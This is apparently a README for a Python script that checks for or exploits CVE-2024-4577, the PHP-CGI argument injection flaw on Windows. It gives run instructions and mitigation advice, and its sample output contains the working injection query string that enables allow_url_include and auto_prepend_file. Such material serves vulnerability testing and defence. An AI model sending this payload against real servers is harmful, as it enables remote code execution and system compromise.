A severe security flaw exists in PHP's CGI mode that allows attackers to run arbitrary commands by manipulating URL parameters.
- PHP versions before 7.4.29 and 8.0.19 on Windows running php-cgi.
- Attackers can leverage this vulnerability by sending specially crafted requests to the PHP CGI script. These requests inject malicious parameters, enabling the execution of arbitrary commands. This can potentially result in complete system compromise.
Before running the script, ensure you have Python 3 installed on your system. Additionally, you need the requests
library for handling HTTP requests.
You can install the required dependencies using pip
. If pip
is not installed, follow the instructions here.
- Open your terminal or command prompt.
- Run the following command to install the
requests
library:
pip install requests
To check a target URL for the CVE-2024-4577 vulnerability, follow these steps:
- Execute the script using python3 with the target URL as an argument.
python3 exploit.py <target>
For instance, to test the URL http://example.com, run:
python3 exploit.py http://example.com
The script will test the provided target URL for the vulnerability and print the results to the console. It will indicate whether a potential vulnerability was found or if no vulnerability was detected.
(+) Potential vulnerability found at: http://example.com/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
(-) No vulnerability found at: http://example.com/php-cgi/php-cgi.exe?%ADd+allow_url_include
- Update PHP to the latest version.
- Ensure input parameters are properly sanitized and validated.
- Apply secure configuration settings to restrict CGI parameter processing.
This vulnerability was found by Orange Tsai (@orange_8361)